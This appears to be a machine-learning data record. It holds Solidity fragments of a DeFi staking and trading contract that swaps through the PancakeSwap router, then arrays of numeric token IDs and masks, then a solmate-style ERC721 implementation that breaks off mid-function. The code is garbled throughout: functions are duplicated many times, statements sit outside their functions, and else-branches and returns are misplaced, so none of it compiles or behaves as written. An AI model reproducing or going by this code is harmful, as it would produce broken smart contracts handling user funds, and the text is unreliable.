require(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).checkBeta(msg.sender), "Tier not high enough");
ITradingContractDeployer(deployer).tradingCounterAdd(msg.sender);
}
totalInvested = totalInvested.add(msg.value);
invested[msg.sender] = invested[msg.sender].add(msg.value);
investedInUSD[msg.sender] = investedInUSD[msg.sender].add(getAmountOutMin(WETHAddress, BUSDAddress, msg.value));
swap(WETHAddress, pairedTokenAddress, _amountInPaired, getAmountOutMin(WETHAddress, pairedTokenAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY));
uint256 _amountInBase = msg.value.sub(_amountInPaired);
swap(WETHAddress, baseTokenAddress, _amountInBase, getAmountOutMin(WETHAddress, baseTokenAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY));
uint256 _convertedPairedBalance = getAmountOutMin(pairedTokenAddress, WETHAddress, pairedToken.balanceOf(address(this)).mul(_init_fraction).div(UNITY));
uint256 _totalBalance = _convertedBaseBalance.add(_convertedPairedBalance);
uint256 _difference;
uint256 _updatedOldValue = totalSupply.sub(_amountIn);
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(_updatedOldValue).div(totalSupply);
}
fractions[msg.sender] = fractions[msg.sender].add(_amountIn.mul(UNITY).div(totalSupply));
emit Staked(msg.sender, msg.value);
}
function stake() public updateAddedSupply(msg.value) payable {
require(msg.value > 0);
require(msg.value.add(totalInvested) <= maxTotalCap, "Max total cap");
if (!wallets[msg.sender]) {
walletsArray.push(msg.sender);
wallets[msg.sender]=true;
require(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).checkBeta(msg.sender), "Tier not high enough");
ITradingContractDeployer(deployer).tradingCounterAdd(msg.sender);
}
totalInvested = totalInvested.add(msg.value);
invested[msg.sender] = invested[msg.sender].add(msg.value);
investedInUSD[msg.sender] = investedInUSD[msg.sender].add(getAmountOutMin(WETHAddress, BUSDAddress, msg.value));
swap(WETHAddress, pairedTokenAddress, _amountInPaired, getAmountOutMin(WETHAddress, pairedTokenAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY));
uint256 _amountInBase = msg.value.sub(_amountInPaired);
swap(WETHAddress, baseTokenAddress, _amountInBase, getAmountOutMin(WETHAddress, baseTokenAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY));
uint256 _convertedPairedBalance = getAmountOutMin(pairedTokenAddress, WETHAddress, pairedToken.balanceOf(address(this)).mul(_init_fraction).div(UNITY));
uint256 _totalBalance = _convertedBaseBalance.add(_convertedPairedBalance);
uint256 _difference;
uint256 _updatedOldValue = totalSupply.sub(_amountIn);
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(_updatedOldValue).div(totalSupply);
}
fractions[msg.sender] = fractions[msg.sender].add(_amountIn.mul(UNITY).div(totalSupply));
emit Staked(msg.sender, msg.value);
}
require(msg.value.add(invested[msg.sender]) <= IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getIndividualCap(msg.sender), "Max individual cap");
uint256 _ratioPairedToken = getRatioPairedToken();
WETHInterface.deposit{ value: msg.value }();
uint256 _amountInPaired = msg.value.mul(_ratioPairedToken).div(UNITY);
uint256 _init_fraction = msg.value.mul(UNITY).div(totalSupply);
uint256 _convertedBaseBalance = getAmountOutMin(baseTokenAddress, WETHAddress, baseToken.balanceOf(address(this)).sub(accumulatedFees).mul(_init_fraction).div(UNITY));
if (_totalBalance > msg.value) {_difference = _totalBalance.sub(msg.value);}
uint256 _amountIn = msg.value.sub(_difference);
function stake() public updateAddedSupply(msg.value) payable {
require(msg.value > 0);
require(msg.value.add(totalInvested) <= maxTotalCap, "Max total cap");
if (!wallets[msg.sender]) {
walletsArray.push(msg.sender);
wallets[msg.sender]=true;
require(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).checkBeta(msg.sender), "Tier not high enough");
ITradingContractDeployer(deployer).tradingCounterAdd(msg.sender);
}
totalInvested = totalInvested.add(msg.value);
invested[msg.sender] = invested[msg.sender].add(msg.value);
investedInUSD[msg.sender] = investedInUSD[msg.sender].add(getAmountOutMin(WETHAddress, BUSDAddress, msg.value));
swap(WETHAddress, pairedTokenAddress, _amountInPaired, getAmountOutMin(WETHAddress, pairedTokenAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY));
uint256 _amountInBase = msg.value.sub(_amountInPaired);
swap(WETHAddress, baseTokenAddress, _amountInBase, getAmountOutMin(WETHAddress, baseTokenAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY));
uint256 _convertedPairedBalance = getAmountOutMin(pairedTokenAddress, WETHAddress, pairedToken.balanceOf(address(this)).mul(_init_fraction).div(UNITY));
uint256 _totalBalance = _convertedBaseBalance.add(_convertedPairedBalance);
uint256 _difference;
uint256 _updatedOldValue = totalSupply.sub(_amountIn);
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(_updatedOldValue).div(totalSupply);
}
fractions[msg.sender] = fractions[msg.sender].add(_amountIn.mul(UNITY).div(totalSupply));
emit Staked(msg.sender, msg.value);
}
function withdraw() public updateSubtractedSupply(msg.sender) {
require(fractions[msg.sender] > 0);
uint256 _pairedTokenBalance = pairedToken.balanceOf(address(this));
uint256 _baseTokenBalance = baseToken.balanceOf(address(this)).sub(accumulatedFees);
uint256 _swappedAmountPaired;
uint256 _swappedAmountBase;
if (_pairedTokenBalance > 0) {
uint256 _amountInPaired = fractions[msg.sender].mul(_pairedTokenBalance).div(UNITY);
_swappedAmountPaired = swapForETH(pairedTokenAddress, WETHAddress, _amountInPaired, getAmountOutMin(pairedTokenAddress, WETHAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (_baseTokenBalance > 0) {
uint256 _amountInBase = fractions[msg.sender].mul(_baseTokenBalance).div(UNITY);
_swappedAmountBase = swapForETH(baseTokenAddress, WETHAddress, _amountInBase, getAmountOutMin(baseTokenAddress, WETHAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (invested[msg.sender] < _equity) {
uint256 _revenue = _equity.sub(invested[msg.sender]);
uint256 _developerFee = _revenue.mul(devFee).div(UNITY);
uint256 _platformFee = _revenue.mul(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getPlatformFee()).div(UNITY);
totalAccumulatedDevFees = totalAccumulatedDevFees.add(_developerFee);
developerAddress.transfer(_developerFee);
payable(owner()).transfer(_platformFee);
_equity = _equity.sub(_developerFee).sub(_platformFee);
}
if (totalSupply != 0) {
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(oldTotalSupply).div(totalSupply);
}
}
fractions[msg.sender] = 0;
totalInvested = totalInvested.sub(invested[msg.sender]);
invested[msg.sender] = 0;
investedInUSD[msg.sender] = 0;
wallets[msg.sender]= false;
ITradingContractDeployer(deployer).tradingCounterSub(msg.sender);
emit Withdrawn(msg.sender, _equity);
}
function withdraw() public updateSubtractedSupply(msg.sender) {
require(fractions[msg.sender] > 0);
uint256 _pairedTokenBalance = pairedToken.balanceOf(address(this));
uint256 _baseTokenBalance = baseToken.balanceOf(address(this)).sub(accumulatedFees);
uint256 _swappedAmountPaired;
uint256 _swappedAmountBase;
if (_pairedTokenBalance > 0) {
uint256 _amountInPaired = fractions[msg.sender].mul(_pairedTokenBalance).div(UNITY);
_swappedAmountPaired = swapForETH(pairedTokenAddress, WETHAddress, _amountInPaired, getAmountOutMin(pairedTokenAddress, WETHAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (_baseTokenBalance > 0) {
uint256 _amountInBase = fractions[msg.sender].mul(_baseTokenBalance).div(UNITY);
_swappedAmountBase = swapForETH(baseTokenAddress, WETHAddress, _amountInBase, getAmountOutMin(baseTokenAddress, WETHAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (invested[msg.sender] < _equity) {
uint256 _revenue = _equity.sub(invested[msg.sender]);
uint256 _developerFee = _revenue.mul(devFee).div(UNITY);
uint256 _platformFee = _revenue.mul(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getPlatformFee()).div(UNITY);
totalAccumulatedDevFees = totalAccumulatedDevFees.add(_developerFee);
developerAddress.transfer(_developerFee);
payable(owner()).transfer(_platformFee);
_equity = _equity.sub(_developerFee).sub(_platformFee);
}
if (totalSupply != 0) {
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(oldTotalSupply).div(totalSupply);
}
}
fractions[msg.sender] = 0;
totalInvested = totalInvested.sub(invested[msg.sender]);
invested[msg.sender] = 0;
investedInUSD[msg.sender] = 0;
wallets[msg.sender]= false;
ITradingContractDeployer(deployer).tradingCounterSub(msg.sender);
emit Withdrawn(msg.sender, _equity);
}
function withdraw() public updateSubtractedSupply(msg.sender) {
require(fractions[msg.sender] > 0);
uint256 _pairedTokenBalance = pairedToken.balanceOf(address(this));
uint256 _baseTokenBalance = baseToken.balanceOf(address(this)).sub(accumulatedFees);
uint256 _swappedAmountPaired;
uint256 _swappedAmountBase;
if (_pairedTokenBalance > 0) {
uint256 _amountInPaired = fractions[msg.sender].mul(_pairedTokenBalance).div(UNITY);
_swappedAmountPaired = swapForETH(pairedTokenAddress, WETHAddress, _amountInPaired, getAmountOutMin(pairedTokenAddress, WETHAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (_baseTokenBalance > 0) {
uint256 _amountInBase = fractions[msg.sender].mul(_baseTokenBalance).div(UNITY);
_swappedAmountBase = swapForETH(baseTokenAddress, WETHAddress, _amountInBase, getAmountOutMin(baseTokenAddress, WETHAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (invested[msg.sender] < _equity) {
uint256 _revenue = _equity.sub(invested[msg.sender]);
uint256 _developerFee = _revenue.mul(devFee).div(UNITY);
uint256 _platformFee = _revenue.mul(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getPlatformFee()).div(UNITY);
totalAccumulatedDevFees = totalAccumulatedDevFees.add(_developerFee);
developerAddress.transfer(_developerFee);
payable(owner()).transfer(_platformFee);
_equity = _equity.sub(_developerFee).sub(_platformFee);
}
if (totalSupply != 0) {
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(oldTotalSupply).div(totalSupply);
}
}
fractions[msg.sender] = 0;
totalInvested = totalInvested.sub(invested[msg.sender]);
invested[msg.sender] = 0;
investedInUSD[msg.sender] = 0;
wallets[msg.sender]= false;
ITradingContractDeployer(deployer).tradingCounterSub(msg.sender);
emit Withdrawn(msg.sender, _equity);
}
uint256 _equity = _swappedAmountBase.add(_swappedAmountPaired);
function withdraw() public updateSubtractedSupply(msg.sender) {
require(fractions[msg.sender] > 0);
uint256 _pairedTokenBalance = pairedToken.balanceOf(address(this));
uint256 _baseTokenBalance = baseToken.balanceOf(address(this)).sub(accumulatedFees);
uint256 _swappedAmountPaired;
uint256 _swappedAmountBase;
if (_pairedTokenBalance > 0) {
uint256 _amountInPaired = fractions[msg.sender].mul(_pairedTokenBalance).div(UNITY);
_swappedAmountPaired = swapForETH(pairedTokenAddress, WETHAddress, _amountInPaired, getAmountOutMin(pairedTokenAddress, WETHAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (_baseTokenBalance > 0) {
uint256 _amountInBase = fractions[msg.sender].mul(_baseTokenBalance).div(UNITY);
_swappedAmountBase = swapForETH(baseTokenAddress, WETHAddress, _amountInBase, getAmountOutMin(baseTokenAddress, WETHAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (invested[msg.sender] < _equity) {
uint256 _revenue = _equity.sub(invested[msg.sender]);
uint256 _developerFee = _revenue.mul(devFee).div(UNITY);
uint256 _platformFee = _revenue.mul(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getPlatformFee()).div(UNITY);
totalAccumulatedDevFees = totalAccumulatedDevFees.add(_developerFee);
developerAddress.transfer(_developerFee);
payable(owner()).transfer(_platformFee);
_equity = _equity.sub(_developerFee).sub(_platformFee);
}
if (totalSupply != 0) {
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(oldTotalSupply).div(totalSupply);
}
}
fractions[msg.sender] = 0;
totalInvested = totalInvested.sub(invested[msg.sender]);
invested[msg.sender] = 0;
investedInUSD[msg.sender] = 0;
wallets[msg.sender]= false;
ITradingContractDeployer(deployer).tradingCounterSub(msg.sender);
emit Withdrawn(msg.sender, _equity);
}
msg.sender.transfer(_equity);
function withdraw() public updateSubtractedSupply(msg.sender) {
require(fractions[msg.sender] > 0);
uint256 _pairedTokenBalance = pairedToken.balanceOf(address(this));
uint256 _baseTokenBalance = baseToken.balanceOf(address(this)).sub(accumulatedFees);
uint256 _swappedAmountPaired;
uint256 _swappedAmountBase;
if (_pairedTokenBalance > 0) {
uint256 _amountInPaired = fractions[msg.sender].mul(_pairedTokenBalance).div(UNITY);
_swappedAmountPaired = swapForETH(pairedTokenAddress, WETHAddress, _amountInPaired, getAmountOutMin(pairedTokenAddress, WETHAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (_baseTokenBalance > 0) {
uint256 _amountInBase = fractions[msg.sender].mul(_baseTokenBalance).div(UNITY);
_swappedAmountBase = swapForETH(baseTokenAddress, WETHAddress, _amountInBase, getAmountOutMin(baseTokenAddress, WETHAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (invested[msg.sender] < _equity) {
uint256 _revenue = _equity.sub(invested[msg.sender]);
uint256 _developerFee = _revenue.mul(devFee).div(UNITY);
uint256 _platformFee = _revenue.mul(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getPlatformFee()).div(UNITY);
totalAccumulatedDevFees = totalAccumulatedDevFees.add(_developerFee);
developerAddress.transfer(_developerFee);
payable(owner()).transfer(_platformFee);
_equity = _equity.sub(_developerFee).sub(_platformFee);
}
if (totalSupply != 0) {
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(oldTotalSupply).div(totalSupply);
}
}
fractions[msg.sender] = 0;
totalInvested = totalInvested.sub(invested[msg.sender]);
invested[msg.sender] = 0;
investedInUSD[msg.sender] = 0;
wallets[msg.sender]= false;
ITradingContractDeployer(deployer).tradingCounterSub(msg.sender);
emit Withdrawn(msg.sender, _equity);
}
function withdraw() public updateSubtractedSupply(msg.sender) {
require(fractions[msg.sender] > 0);
uint256 _pairedTokenBalance = pairedToken.balanceOf(address(this));
uint256 _baseTokenBalance = baseToken.balanceOf(address(this)).sub(accumulatedFees);
uint256 _swappedAmountPaired;
uint256 _swappedAmountBase;
if (_pairedTokenBalance > 0) {
uint256 _amountInPaired = fractions[msg.sender].mul(_pairedTokenBalance).div(UNITY);
_swappedAmountPaired = swapForETH(pairedTokenAddress, WETHAddress, _amountInPaired, getAmountOutMin(pairedTokenAddress, WETHAddress, _amountInPaired).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (_baseTokenBalance > 0) {
uint256 _amountInBase = fractions[msg.sender].mul(_baseTokenBalance).div(UNITY);
_swappedAmountBase = swapForETH(baseTokenAddress, WETHAddress, _amountInBase, getAmountOutMin(baseTokenAddress, WETHAddress, _amountInBase).mul(DEFAULT_SLIPPAGE).div(UNITY), address(this));
}
if (invested[msg.sender] < _equity) {
uint256 _revenue = _equity.sub(invested[msg.sender]);
uint256 _developerFee = _revenue.mul(devFee).div(UNITY);
uint256 _platformFee = _revenue.mul(IBalanceLogicContract(masterContract.getBalanceLogicAddress()).getPlatformFee()).div(UNITY);
totalAccumulatedDevFees = totalAccumulatedDevFees.add(_developerFee);
developerAddress.transfer(_developerFee);
payable(owner()).transfer(_platformFee);
_equity = _equity.sub(_developerFee).sub(_platformFee);
}
if (totalSupply != 0) {
for(uint i=0; i < walletsArray.length; i++) {
fractions[walletsArray[i]] = fractions[walletsArray[i]].mul(oldTotalSupply).div(totalSupply);
}
}
fractions[msg.sender] = 0;
totalInvested = totalInvested.sub(invested[msg.sender]);
invested[msg.sender] = 0;
investedInUSD[msg.sender] = 0;
wallets[msg.sender]= false;
ITradingContractDeployer(deployer).tradingCounterSub(msg.sender);
emit Withdrawn(msg.sender, _equity);
}
function recoverFees() public onlyOwner {
if (accumulatedFees > 0) {
uint256 _amountOutMin = getAmountOutMin(baseTokenAddress, WETHAddress, accumulatedFees).mul(DEFAULT_SLIPPAGE).div(UNITY);
swapForETH(baseTokenAddress, WETHAddress, accumulatedFees, _amountOutMin, msg.sender);
accumulatedFees = 0;
}
}
function recoverFees() public onlyOwner {
if (accumulatedFees > 0) {
uint256 _amountOutMin = getAmountOutMin(baseTokenAddress, WETHAddress, accumulatedFees).mul(DEFAULT_SLIPPAGE).div(UNITY);
swapForETH(baseTokenAddress, WETHAddress, accumulatedFees, _amountOutMin, msg.sender);
accumulatedFees = 0;
}
}
function getTotalSupply() public view returns (uint256) {
uint256 _baseTokenBalance = baseToken.balanceOf(address(this)).sub(accumulatedFees);
uint256 _pairedTokenBalance = pairedToken.balanceOf(address(this));
uint256 _convertedBaseBalance = getAmountOutMin(baseTokenAddress, WETHAddress, _baseTokenBalance);
uint256 _convertedPairedBalance = getAmountOutMin(pairedTokenAddress, WETHAddress, _pairedTokenBalance);
return _convertedBaseBalance.add(_convertedPairedBalance);
}
function getRatioPairedToken() public view returns (uint256) {
uint256 _total = getTotalSupply() ;
uint256 _pairedTokenBalance = getAmountOutMin(pairedTokenAddress, WETHAddress,pairedToken.balanceOf(address(this)));
if (_total == 0) {
return 0;
return _pairedTokenBalance.mul(UNITY).div(_total);
}
}
function getRatioPairedToken() public view returns (uint256) {
uint256 _total = getTotalSupply() ;
uint256 _pairedTokenBalance = getAmountOutMin(pairedTokenAddress, WETHAddress,pairedToken.balanceOf(address(this)));
if (_total == 0) {
return 0;
return _pairedTokenBalance.mul(UNITY).div(_total);
}
}
} else {
function createPath(address _tokenIn,address _tokenOut) internal view returns (address[] memory) {
address[] memory path;
if (directPath) {
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
if (_tokenIn == WETHAddress || _tokenOut == WETHAddress) {
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
path = new address[](3);
path[0] = _tokenIn;
path[1] = WETHAddress;
path[2] = _tokenOut;
}
}
return path;
}
function createPath(address _tokenIn,address _tokenOut) internal view returns (address[] memory) {
address[] memory path;
if (directPath) {
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
if (_tokenIn == WETHAddress || _tokenOut == WETHAddress) {
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
path = new address[](3);
path[0] = _tokenIn;
path[1] = WETHAddress;
path[2] = _tokenOut;
}
}
return path;
}
} else {
function createPath(address _tokenIn,address _tokenOut) internal view returns (address[] memory) {
address[] memory path;
if (directPath) {
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
if (_tokenIn == WETHAddress || _tokenOut == WETHAddress) {
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
path = new address[](3);
path[0] = _tokenIn;
path[1] = WETHAddress;
path[2] = _tokenOut;
}
}
return path;
}
} else {
function swap(address _tokenIn, address _tokenOut, uint256 _amountIn, uint256 _amountOutMin) internal returns (uint256) {
IERC20(_tokenIn).approve(PANCAKESWAP_V2_ROUTER, _amountIn);
uint256[] memory amountOut = IUniswapV2Router(PANCAKESWAP_V2_ROUTER).swapExactTokensForTokens(_amountIn, _amountOutMin, createPath(_tokenIn, _tokenOut), address(this), block.timestamp + 10 seconds);
return amountOut[amountOut.length -1];
}
if (_tokenIn == _tokenOut) {return _amountIn;}
if (_amountIn == 0) {return 0;}
function swapForETH(address _tokenIn, address _tokenOut, uint256 _amountIn, uint256 _amountOutMin, address _to) internal returns (uint256) {
if (_tokenIn == _tokenOut) {
WETHInterface.withdraw(_amountIn);
return _amountIn;
}
IERC20(_tokenIn).approve(PANCAKESWAP_V2_ROUTER, _amountIn);
uint256[] memory amountOut = IUniswapV2Router(PANCAKESWAP_V2_ROUTER).swapExactTokensForETH(_amountIn, _amountOutMin, createPath(_tokenIn, _tokenOut), _to, block.timestamp + 10 seconds);
return amountOut[amountOut.length -1];
}
if (_amountIn == 0) {return 0;}
function swapForETH(address _tokenIn, address _tokenOut, uint256 _amountIn, uint256 _amountOutMin, address _to) internal returns (uint256) {
if (_tokenIn == _tokenOut) {
WETHInterface.withdraw(_amountIn);
return _amountIn;
}
IERC20(_tokenIn).approve(PANCAKESWAP_V2_ROUTER, _amountIn);
uint256[] memory amountOut = IUniswapV2Router(PANCAKESWAP_V2_ROUTER).swapExactTokensForETH(_amountIn, _amountOutMin, createPath(_tokenIn, _tokenOut), _to, block.timestamp + 10 seconds);
return amountOut[amountOut.length -1];
}
function getAmountOutMin(address _tokenIn, address _tokenOut, uint256 _amountIn) internal view returns (uint256) {
uint256[] memory amountOutMins = IUniswapV2Router(PANCAKESWAP_V2_ROUTER).getAmountsOut(_amountIn, createPath(_tokenIn, _tokenOut));
return amountOutMins[amountOutMins.length -1];
}
if (_tokenIn == _tokenOut) {return _amountIn;}
if (_amountIn == 0) {return 0;}
modifier checkSufficientGasOwner() {
if (owner().balance < invested[deployer].div(2)) {
recoverFees();
}
_;
}
modifier checkSufficientGasOwner() {
if (owner().balance < invested[deployer].div(2)) {
recoverFees();
}
_;
}
modifier updateAddedSupply(uint256 _amount) {
oldTotalSupply = getTotalSupply();
totalSupply = oldTotalSupply.add(_amount);
_;
}
modifier updateSubtractedSupply(address) {
oldTotalSupply = getTotalSupply();
totalSupply = oldTotalSupply.sub(oldTotalSupply.mul(fractions[msg.sender]).div(UNITY));
_;
}
event Staked(address indexed _user, uint256 _amount);
event Withdrawn(address indexed _user, uint256 _amount);
}
| 756,182 |
[
1,
1986,
2197,
7459,
8924,
331,
21,
18,
21,
353,
279,
6835,
364,
4886,
335,
1284,
7459,
603,
279,
2030,
60,
471,
353,
17196,
329,
635,
14940,
3850,
9458,
1359,
18,
7193,
903,
445,
487,
326,
13706,
6835,
716,
16000,
777,
2198,
395,
1346,
471,
11199,
1284,
5489,
364,
777,
2198,
395,
1346,
27504,
715,
18,
1986,
13706,
6835,
903,
1240,
279,
2874,
434,
777,
326,
2198,
395,
1346,
434,
326,
2198,
395,
1383,
316,
326,
646,
434,
279,
8330,
434,
326,
2078,
6011,
471,
903,
1089,
333,
1839,
3614,
2198,
395,
475,
578,
598,
9446,
287,
18,
432,
30143,
578,
357,
80,
1353,
848,
1338,
506,
9591,
635,
326,
3410,
792,
326,
6835,
16,
1492,
1508,
903,
30143,
578,
357,
80,
326,
4656,
1147,
434,
326,
1147,
3082,
18,
1021,
1147,
3082,
353,
2553,
487,
1223,
448,
1345,
19,
24197,
1345,
18,
1021,
2198,
395,
1383,
854,
326,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
2197,
7459,
8924,
353,
14223,
6914,
288,
203,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2254,
5034,
3238,
5381,
5019,
4107,
273,
1728,
636,
2643,
31,
203,
565,
2254,
5034,
3238,
5381,
3331,
67,
55,
2053,
6584,
2833,
273,
14605,
380,
1728,
636,
2313,
31,
203,
565,
1758,
3238,
5381,
678,
1584,
44,
1887,
273,
374,
6511,
4700,
5193,
4033,
41,
20,
4449,
3461,
2499,
5520,
42,
311,
1611,
5908,
28,
5324,
28,
1611,
7132,
37,
69,
20,
71,
40,
25,
5895,
31,
203,
565,
1758,
3238,
5381,
605,
3378,
40,
1887,
273,
374,
6511,
4700,
5193,
4033,
41,
20,
4449,
3461,
2499,
5520,
42,
311,
1611,
5908,
28,
5324,
28,
1611,
7132,
37,
69,
20,
71,
40,
25,
5895,
31,
203,
565,
1758,
3238,
5381,
453,
1258,
3587,
47,
3991,
59,
2203,
67,
58,
22,
67,
1457,
1693,
654,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
565,
467,
654,
39,
3462,
3238,
5381,
678,
1584,
44,
273,
467,
654,
39,
3462,
12,
59,
1584,
44,
1887,
1769,
203,
565,
467,
59,
1584,
44,
3238,
5381,
678,
1584,
44,
1358,
273,
467,
59,
1584,
44,
12,
59,
1584,
44,
1887,
1769,
203,
565,
6246,
2440,
8924,
3238,
5381,
4171,
8924,
273,
6246,
2440,
8924,
12,
20,
92,
3461,
71,
25,
5082,
74,
27,
71,
3707,
24,
39,
1105,
20,
40,
2
] |
./full_match/1/0x644E56Fc5027Fce48ae922078beB4708e69d1EC1/sources/@rari-capital/solmate/src/tokens/ERC721.sol
|
@notice Modern, minimalist, and gas efficient ERC-721 implementation. @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
|
abstract contract ERC721 {
EVENTS
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
METADATA STORAGE/LOGIC
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
ERC721 BALANCE/OWNER STORAGE
mapping(uint256 => address) internal _ownerOf;
mapping(address => uint256) internal _balanceOf;
pragma solidity >=0.8.0;
function ownerOf(uint256 id) public view virtual returns (address owner) {
require((owner = _ownerOf[id]) != address(0), "NOT_MINTED");
}
function balanceOf(address owner) public view virtual returns (uint256) {
require(owner != address(0), "ZERO_ADDRESS");
return _balanceOf[owner];
}
ERC721 APPROVAL STORAGE
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
CONSTRUCTOR
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
}
ERC721 LOGIC
function approve(address spender, uint256 id) public virtual {
address owner = _ownerOf[id];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED");
getApproved[id] = spender;
emit Approval(owner, spender, id);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
require(from == _ownerOf[id], "WRONG_FROM");
require(to != address(0), "INVALID_RECIPIENT");
require(
msg.sender == from || isApprovedForAll[from][msg.sender] || msg.sender == getApproved[id],
"NOT_AUTHORIZED"
);
unchecked {
_balanceOf[from]--;
_balanceOf[to]++;
}
_ownerOf[id] = to;
delete getApproved[id];
emit Transfer(from, to, id);
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
require(from == _ownerOf[id], "WRONG_FROM");
require(to != address(0), "INVALID_RECIPIENT");
require(
msg.sender == from || isApprovedForAll[from][msg.sender] || msg.sender == getApproved[id],
"NOT_AUTHORIZED"
);
unchecked {
_balanceOf[from]--;
_balanceOf[to]++;
}
_ownerOf[id] = to;
delete getApproved[id];
emit Transfer(from, to, id);
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
transferFrom(from, to, id);
if (to.code.length != 0)
require(
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes calldata data
) public virtual {
transferFrom(from, to, id);
if (to.code.length != 0)
require(
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
ERC165 LOGIC
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
return
}
INTERNAL MINT/BURN LOGIC
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(_ownerOf[id] == address(0), "ALREADY_MINTED");
unchecked {
_balanceOf[to]++;
}
_ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(_ownerOf[id] == address(0), "ALREADY_MINTED");
unchecked {
_balanceOf[to]++;
}
_ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
function _burn(uint256 id) internal virtual {
address owner = _ownerOf[id];
require(owner != address(0), "NOT_MINTED");
unchecked {
_balanceOf[owner]--;
}
delete _ownerOf[id];
delete getApproved[id];
emit Transfer(owner, address(0), id);
}
INTERNAL SAFE MINT LOGIC
function _burn(uint256 id) internal virtual {
